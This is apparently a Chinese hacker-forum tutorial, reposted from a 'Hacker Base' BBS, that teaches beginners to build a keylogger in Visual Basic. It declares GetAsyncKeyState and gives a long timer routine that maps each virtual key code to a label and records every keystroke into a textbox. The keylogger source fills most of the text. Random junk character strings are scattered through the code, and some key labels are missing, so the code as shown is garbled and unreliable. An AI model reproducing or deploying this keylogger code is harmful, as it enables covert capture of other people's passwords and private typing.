手把手教你做键盘记录器

韩冰

作者：小珂 转自黑基BBS原创作品版 版权归黑客基地所有， 转载请注明出处

前几天写了一篇键盘记录器，好多人反映看不懂， 4 p2 t1 X3 R: y5 o/ u对新人没什么用处，所以且这篇我会写的 很详细，再也不像那篇，出了代码什么也没 ^!^ 3 e# g+ E( y }9 b; l! l( |这个程序将会详细的讲解如何记载键盘的每一次输入。 下面介绍的这个程序主要是利用GetAsyncKeyState函数， 使用GetAsyncKeyState可以获得键盘的动作。 GetAsyncKeyState函数根据虚拟键表判断按键的类型。 # _$ j! S1 p9 x7 q返回值为一个16位的二进值数，如果被按下则最高位为1， 即返回-32767。下面是API函数及鼠标中左右键在虚拟键表中的定义： Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer ' v9 p% ]( M2 U4 c' ^好了，函数就先介绍这么多，下面开始动手实战了 first,当然是创建窗口了 3 F* l+ h* S' U' Z4 X / |2 e9 q$ p( B, k 0 u' _1 k, u7 ]; [ 在时间控件的Timer时间中定义检查按键类型，代码如下： Dim AddKey KeyResult = GetAsyncKeyState(13) '回车键 If KeyResult = -32767 Then 7 l5 \" n0 Z9 M3 I AddKey = "[ENTER]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(17) 'Ctrl键 If KeyResult = -32767 Then AddKey = "[CTRL]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(8) '退格键 If KeyResult = -32767 Then AddKey = "[BKSPACE]" GoTo KeyFound ! R+ s% i5 ~% A% M* I, Z f$ M End If 9 W7 o0 y5 N, w2 J2 y* Y$ K KeyResult = GetAsyncKeyState(9) If KeyResult = -32767 Then AddKey = "[TAB]" 0 q* T% n( o% o, x) ` GoTo KeyFound 7 ?) b0 v" y& X0 k" \ End If . N0 x* } I/ [; F" z/ L KeyResult = GetAsyncKeyState(18) 8 f3 B# Y# E* R% g% _- A% B! s If KeyResult = -32767 Then 1 d% U3 W0 V; `# F2 } AddKey = "[ALT]" GoTo KeyFound 2 y8 a8 N, p) h9 n% e End If " W; Q, y# q, ~& F1 ?! V KeyResult = GetAsyncKeyState(19) If KeyResult = -32767 Then * _( {0 R: p1 W' ]) M AddKey = "[PAUSE]" $ r* u, I' v9 t1 k& j5 ~% v# e GoTo KeyFound End If : J% U% D5 [8 L T4 t ( F; N# ]2 E* y. Z( f- p/ v3 a; ^ KeyResult = GetAsyncKeyState(20) ! ]$ @3 z0 G7 B P If KeyResult = -32767 Then 9 w, b; V" _: \8 C3 \: f AddKey = "[CAPS]" GoTo KeyFound & w: q+ Z' r! S. L1 Q End If 4 r# G8 X* Y& \, ]- n 7 g" T0 _4 E! L- E5 x- {* I KeyResult = GetAsyncKeyState(27) : X. e$ H; f9 a) o# M If KeyResult = -32767 Then T/ s2 ?1 l7 D- v# _; ? AddKey = "[ESC]" GoTo KeyFound , ~# I5 w9 A7 G8 v0 K t; q3 m& b& ] End If ' o6 M+ |$ y& H9 O) v) P2 n% d ' e. V% @ T% B/ ]! {- Z! q' ^8 \ KeyResult = GetAsyncKeyState(33) 6 y! z4 t* X! W# L If KeyResult = -32767 Then AddKey = "[PGUP]" GoTo KeyFound End If : M0 f! b% a# t. l KeyResult = GetAsyncKeyState(34) . W3 y8 K; a1 C8 c2 Q: u6 y If KeyResult = -32767 Then , b; |6 M6 F& C% O AddKey = "[PGDN]" GoTo KeyFound + e9 i5 T8 o+ _ End If ; p; r9 a% ^3 r0 c, r7 z3 A7 R KeyResult = GetAsyncKeyState(35) , I, c) J0 u- o. x5 a! Y4 _5 B If KeyResult = -32767 Then AddKey = "[END]" $ y# T3 V3 B7 {2 N1 l GoTo KeyFound End If 4 o: G! K5 t D \. E* G6 N KeyResult = GetAsyncKeyState(36) If KeyResult = -32767 Then AddKey = "[HOME]" : _9 ^: S3 a! ?* A1 l, E0 a H GoTo KeyFound End If $ p& {7 C6 x$ e2 I! X* D ! X5 t" p& } M# x7 B5 ?9 s KeyResult = GetAsyncKeyState(44) $ S _/ i+ t# T( k3 t2 R If KeyResult = -32767 Then " g- G4 s" |2 ?" A4 J- s AddKey = "[SYSRQ]" ! k" r4 x5 v, h( }& }! a GoTo KeyFound % t" J, Y7 w7 a' B End If KeyResult = GetAsyncKeyState(45) * z& e* H5 O3 [: C5 U If KeyResult = -32767 Then , v, w/ i Q& Y AddKey = "[INS]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(46) 9 m/ w0 e6 L: d3 R% r If KeyResult = -32767 Then - \$ F4 X5 I# X% h( s AddKey = "[DEL]" GoTo KeyFound 5 C5 c) c6 t D! b: H End If 4 }6 U+ `7 \' B KeyResult = GetAsyncKeyState(144) If KeyResult = -32767 Then AddKey = "[NUM]" 2 q R8 `1 ] G1 P, S* M& s" e GoTo KeyFound End If 6 A5 b. N% s. H ' {3 m8 G ^/ w3 p0 l) T6 X KeyResult = GetAsyncKeyState(37) If KeyResult = -32767 Then 0 O9 ~$ Y8 Z- j. s AddKey = "

" & h! w' m* e1 w P; ] GoTo KeyFound 2 |$ k, w8 w& I: b1 q End If # B. `8 j- a' {7 P( V 3 f0 q! N4 I- E KeyResult = GetAsyncKeyState(38) : d+ s0 F, Y2 ~4 g) Q2 E. w If KeyResult = -32767 Then AddKey = "[UP]" 6 g* D Z+ c/ P( V3 c% a5 P GoTo KeyFound 7 [0 g5 Y, W* Q5 A End If KeyResult = GetAsyncKeyState(39) If KeyResult = -32767 Then $ h: P4 l8 ], D. u5 Y) V a AddKey = "

" GoTo KeyFound End If ! F4 b3 x8 @+ V& `# \ KeyResult = GetAsyncKeyState(40) ' P! N2 } t+ _ If KeyResult = -32767 Then ; k$ k( U9 T) e: x$ @ AddKey = "[DOWN]" + r' s& Y4 Y" D( M GoTo KeyFound / Z9 r: ], L: h; G# f End If ! |' t$ f" x* q4 y+ v0 e! s) D 5 k7 U8 A3 h n6 D 5 H6 t2 I! M4 a* E. x0 pKeyResult = GetAsyncKeyState(112) If KeyResult = -32767 Then AddKey = "[F1]" Z% `/ m0 M$ V- |' k- s. u. e; [0 [& T GoTo KeyFound ) U) z! h- X2 O' o) | End If # A$ v8 x1 l H4 L" L) E+ C 3 i( f6 E. n- v, U/ |& n5 uKeyResult = GetAsyncKeyState(113) ! D3 @( g* {& Z) h5 Z* }0 \& [ If KeyResult = -32767 Then AddKey = "[F2]" GoTo KeyFound End If / A+ W3 ]" o4 n6 AKeyResult = GetAsyncKeyState(114) 5 p) Q1 Q2 x& ? If KeyResult = -32767 Then 5 w$ k/ `, b L AddKey = "[F3]" . d; _) y' B& Z8 y f GoTo KeyFound End If KeyResult = GetAsyncKeyState(115) If KeyResult = -32767 Then , q5 L$ |, ]- M _( u( L5 L AddKey = "[F4]" GoTo KeyFound End If 3 a5 }9 z& i. f; U) h1 ^9 ~9 YKeyResult = GetAsyncKeyState(116) 9 d% R% z# @, A% ?: A/ G If KeyResult = -32767 Then AddKey = "[F5]" . ~! D* c! z' _+ t; _6 J! W1 G2 v GoTo KeyFound End If 9 [3 l: q0 _9 j! A P I & ]! o! L: l1 |: S3 P9 \) v# bKeyResult = GetAsyncKeyState(117) If KeyResult = -32767 Then , ^' g: J/ Q4 O+ p7 G e) `1 E) L AddKey = "[F6]" ' m4 l1 d& G6 [% k8 A GoTo KeyFound End If . L9 H; n" K- eKeyResult = GetAsyncKeyState(118) " `, F9 f2 }% u2 U/ g% }6 y If KeyResult = -32767 Then 0 r: f' u6 ~. X8 Y AddKey = "[F7]" GoTo KeyFound End If # |2 K# c6 P' E4 V3 O7 gKeyResult = GetAsyncKeyState(119) $ r4 f1 z, a1 Z9 Y( V; x% V/ n' G If KeyResult = -32767 Then AddKey = "[F8]" 0 S& V+ f6 i" o GoTo KeyFound " D0 O; g" K4 N! B End If Q" |7 S( T' ~/ e% n7 p, I0 O KeyResult = GetAsyncKeyState(120) - e4 C' I5 _9 h6 R1 w0 D9 Z If KeyResult = -32767 Then . d1 S1 x2 S5 C" b AddKey = "[F9]" & [2 M& l* r# A( A3 {6 v/ b, r GoTo KeyFound End If KeyResult = GetAsyncKeyState(121) If KeyResult = -32767 Then } p8 V K3 Q5 n. D- M4 e5 P2 o AddKey = "[F10]" GoTo KeyFound * {# Z* s6 ]6 A; r- G End If % v% c7 l( O D8 U6 [ y" Q- m , p& q9 U4 J" `' I% g$ k4 G4 `KeyResult = GetAsyncKeyState(122) 8 T& F9 r0 Q. F6 Y) Z0 Y: N If KeyResult = -32767 Then 0 U ~1 e: l! A AddKey = "[F11]" GoTo KeyFound 9 X: K( W3 \0 y End If 4 `; g! a# x* f) W 4 x0 k; \% q% ]' \/ F6 c9 I/ RKeyResult = GetAsyncKeyState(123) + o3 Z5 J+ [6 x7 | If KeyResult = -32767 Then 4 H* t+ K: C2 |* f; r+ V1 Z7 c2 [ AddKey = "[F12]" GoTo KeyFound 4 M' T; r9 G V- {8 [: v0 E End If - S3 C$ Y" `; r KeyResult = GetAsyncKeyState(124) If KeyResult = -32767 Then AddKey = "[F13]" 8 i% W$ [8 S' f" B7 Y GoTo KeyFound End If KeyResult = GetAsyncKeyState(125) If KeyResult = -32767 Then AddKey = "[F14]" GoTo KeyFound 5 p6 }. c& w0 i! H1 n5 O End If KeyResult = GetAsyncKeyState(126) If KeyResult = -32767 Then ( [# x( I H/ b8 f3 u" t AddKey = "[F15]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(127) * A/ W# F8 j, i5 S' ]# @ If KeyResult = -32767 Then 8 R5 M: f3 N1 c: O' m AddKey = "[F16]" GoTo KeyFound End If 3 W# k9 ~; _5 n$ H8 y7 n$ y $ Z6 g/ A. d; O6 d: }KeyResult = GetAsyncKeyState(32) 0 z! M$ Z0 \! ^$ _1 I5 v If KeyResult = -32767 Then - h% K) a: f/ T9 ^( j+ A% P9 n AddKey = " " GoTo KeyFound $ r, ~5 {7 N: ^# x/ m2 [1 t2 c End If : w' k0 G @# ] KeyResult = GetAsyncKeyState(186) If KeyResult = -32767 Then AddKey = ";" 5 E2 P. W& ]. l1 W; S2 a# I/ M GoTo KeyFound End If d. L8 Z7 _0 V- R 4 f; F" Q2 y/ P+ W# OKeyResult = GetAsyncKeyState(187) / s9 `/ ~0 y2 i6 v If KeyResult = -32767 Then AddKey = "=" GoTo KeyFound End If % c- I' e/ b4 Z$ \9 w 4 x* k5 j9 o- C& O7 [" ^4 uKeyResult = GetAsyncKeyState(188) 6 v5 U& C' x7 v If KeyResult = -32767 Then ' F) [' W0 I% L5 x AddKey = "," GoTo KeyFound 7 l. H* \5 P9 J/ K9 }) e End If KeyResult = GetAsyncKeyState(189) If KeyResult = -32767 Then 5 I/ _; f v% J2 Y- ~ AddKey = "-" GoTo KeyFound / @; K X( @5 @# z! s9 v( j End If G% K4 H& ^* G KeyResult = GetAsyncKeyState(190) # ?: O) J4 D/ o* R+ o p3 e& R: F If KeyResult = -32767 Then 2 t8 j3 O5 Y3 W. G( v% [, Z AddKey = "." * m3 ~% [3 f4 i0 O GoTo KeyFound End If KeyResult = GetAsyncKeyState(191) $ w! r9 q9 w& E% D( a9 U If KeyResult = -32767 Then 1 h1 Q( m" L- u4 B; F! E% Z& a) G9 D AddKey = "/" '/ : o+ z q8 O. P0 i GoTo KeyFound End If KeyResult = GetAsyncKeyState(192) / _2 F. A, J! N7 t9 m+ r0 S8 h3 C( } If KeyResult = -32767 Then AddKey = "`" '` , h5 c' J2 L7 T( H GoTo KeyFound End If 5 c& v1 a$ {( L2 h6 C# b5 j % U0 W4 _6 D0 i2 F- t9 \6 \6 [ 7 X& A) L7 a# J5 U: O/ j) T2 k '----------NUM PAD : K( b0 }; J/ N, u( Q5 n3 n" @( G2 P1 SKeyResult = GetAsyncKeyState(96) If KeyResult = -32767 Then % u: g' s c# U7 H* d& \ AddKey = "0" GoTo KeyFound : B& t% S0 S+ ?/ s, g: ?' O End If % B$ E2 ^* |. p V* j8 J& [6 p5 H KeyResult = GetAsyncKeyState(97) 3 j, h1 J5 ?8 C& I7 g; _ {" l If KeyResult = -32767 Then & E9 @3 j* x/ j, B6 L AddKey = "1" GoTo KeyFound Q$ I, @ ]! Y9 W f2 T5 n. E$ ? End If 6 f. i& o2 y7 g6 I2 n: ^ KeyResult = GetAsyncKeyState(98) If KeyResult = -32767 Then 0 X! F) p: h) ?4 B8 u9 l/ d7 I$ g AddKey = "2" GoTo KeyFound % i: ~* m/ W2 g' W& Y End If 6 o$ L' C* z1 D KeyResult = GetAsyncKeyState(99) 8 u6 S" l# E8 y- P5 k9 u. ] { If KeyResult = -32767 Then ; ?) N: L3 A* ]& @8 U, A AddKey = "3" GoTo KeyFound End If 5 l) c+ ]+ v' J; i- N: u# D% y # V; u6 V4 r1 d7 H3 j1 nKeyResult = GetAsyncKeyState(100) {/ s+ [: S7 @, R; s$ V7 I If KeyResult = -32767 Then 1 {$ z: R3 @$ |8 m2 ^ j AddKey = "4" GoTo KeyFound End If 6 q, G9 u3 v* b" f+ |KeyResult = GetAsyncKeyState(101) % W& T; p9 O" V: ~4 D If KeyResult = -32767 Then - d; R! |! }3 v+ G" {4 Z AddKey = "5" 0 Z4 F R0 |! x2 o- U0 J9 r( y GoTo KeyFound , Y5 P: C1 q" `6 }7 U End If KeyResult = GetAsyncKeyState(102) If KeyResult = -32767 Then AddKey = "6" GoTo KeyFound End If 6 V0 q) U) e& o" ? KeyResult = GetAsyncKeyState(103) : P) q/ S6 e- O9 _ If KeyResult = -32767 Then 9 w$ ^! h% P; g5 b' v; @0 l) \ AddKey = "7" GoTo KeyFound End If 2 U ~, B0 a" j ) s b! p( b) r3 M' \! X u+ @- v1 ~ ' N: m' e# c2 ^* D7 G; L6 fKeyResult = GetAsyncKeyState(104) $ Y+ i. \/ G! z& j If KeyResult = -32767 Then AddKey = "8" GoTo KeyFound End If $ X- g7 ^4 a, x / A- M ^7 [ h5 W2 _: OKeyResult = GetAsyncKeyState(105) If KeyResult = -32767 Then AddKey = "9" GoTo KeyFound End If " @& A$ s4 g( Z5 U; \; ?7 n ?1 _ # Z3 W8 _' J" M/ W 4 ?0 q: i! n P) Z, f( k. `4 d% CKeyResult = GetAsyncKeyState(106) - b( o' a' T5 j0 R6 _2 ` If KeyResult = -32767 Then ; {0 f/ a& c4 T* O; X AddKey = "*" GoTo KeyFound # ^& e: S7 q, n1 U4 ~" f7 X End If : a! d) r$ r, s/ N! d. w KeyResult = GetAsyncKeyState(107) 5 T0 z- F+ h& D0 T2 {* m If KeyResult = -32767 Then AddKey = "+" 0 K0 Z/ X7 |2 G5 \3 ` GoTo KeyFound End If , V6 v8 I% m3 `% ^# `/ L& s - |9 ^9 M' z- E, C1 U2 j1 U$ q* d NKeyResult = GetAsyncKeyState(108) 7 I! J: C7 l5 F) C# }5 w! h* [# ? If KeyResult = -32767 Then AddKey = "[ENTER]" 2 b+ S4 S$ O# o- T GoTo KeyFound End If & d/ c5 G% c% S/ s7 W % k# r8 G4 U& L/ J2 m% j9 S/ [3 qKeyResult = GetAsyncKeyState(109) If KeyResult = -32767 Then ! H4 H$ f: b6 Y1 h* h AddKey = "-" GoTo KeyFound - s( h: o% ^( {# X$ o End If - N O. C, ?1 \4 D/ W4 G8 Q T! BKeyResult = GetAsyncKeyState(110) " M; g" X+ S# `0 i- e6 e: V, l If KeyResult = -32767 Then # I) d5 V1 j9 T6 V AddKey = "." GoTo KeyFound + e7 X' U9 P2 N4 ?, g End If , U- Q3 P. Q2 y$ L# f KeyResult = GetAsyncKeyState(2) $ \; N( U1 e! K1 I8 R b If KeyResult = -32767 Then AddKey = "/" GoTo KeyFound 8 L4 v+ ^) y5 p) A% g, t End If " x, K, P/ j2 f1 R& j0 X9 f% ^7 HKeyResult = GetAsyncKeyState(220) $ e! | y: A' A$ Z, l. P4 U If KeyResult = -32767 Then ( |: k) O* _. O: P AddKey = "\" . k6 x8 x$ R3 l# u GoTo KeyFound End If 6 a% y' b$ \$ \8 ~ / ~: Y! I. x! Y& R1 e( |KeyResult = GetAsyncKeyState(222) + @6 `" b- @6 t! f If KeyResult = -32767 Then AddKey = "'" ) S1 C& P6 H2 l! F GoTo KeyFound End If . ?4 O4 u4 V# I; m% m4 F9 [ KeyResult = GetAsyncKeyState(221) 4 t0 E) z6 m+ r1 ~% c: A If KeyResult = -32767 Then ! c6 T2 S' u8 O/ `& s: _* I AddKey = "]" ! ?5 T) N* L# i0 ~ ! [# l- Y* U' H/ c" E9 i) S; K8 O, j GoTo KeyFound End If ) E( l& h) K, U - w5 S7 E$ ?- f6 m% BKeyResult = GetAsyncKeyState(219) If KeyResult = -32767 Then AddKey = "[" 0 B1 U( k) ~# m% i. L GoTo KeyFound ! |& e# d6 j+ A7 t: O# e# _ End If 8 R, c5 c4 l( v; E4 N# L% z KeyResult = GetAsyncKeyState(16) 'shift键 * c0 @$ w: A9 e6 t3 r If KeyResult = -32767 And TimeOut = 0 Then ; ~* \8 F: Q8 C. Z( O AddKey = "[SHIFT]" LastKey = AddKey TimeOut = 1 # Y' n2 V5 E# ]( T GoTo KeyFound " O3 y7 l4 U' G7 N: S End If KeyLoop = 41 Do Until KeyLoop = 256 ' 显示其他键 , p0 q0 _5 C: o1 s: Z3 w KeyResult = GetAsyncKeyState(KeyLoop) If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop) 1 q) C7 T \' b# o# s/ A- q o# V* ` KeyLoop = KeyLoop + 1 2 A' g1 U7 e7 ?* i2 v7 q Loop LastKey = AddKey 5 y7 }. Z' h# i0 Q: ~ Exit Sub KeyFound: '显示键的信息 Text1 = Text1 & AddKey * N7 R' S r4 ^6 _4 K HEnd Sub / F$ X! I2 S) |& T5 R" Y上面的（）里面的数字实际是就是那些键的Ascii码，比如13就代表回车，17代表Ctrl，…… 由于数目太多，一一列举不方便 现提供Ascii表一份供对照 http://www.cstudy.cn/repository/ascii/default.htm 下面是其他的事件 7 m. K* j, z& q1 LPrivate Sub Timer2_Timer() 5 E6 o% W" Z7 ^% kTimeOut = 0 # o1 l% g* a" g) IEnd Sub 5 Y/ q+ X, A2 m+ J目的是随时刷新清空 4 R. k4 d: z& \" t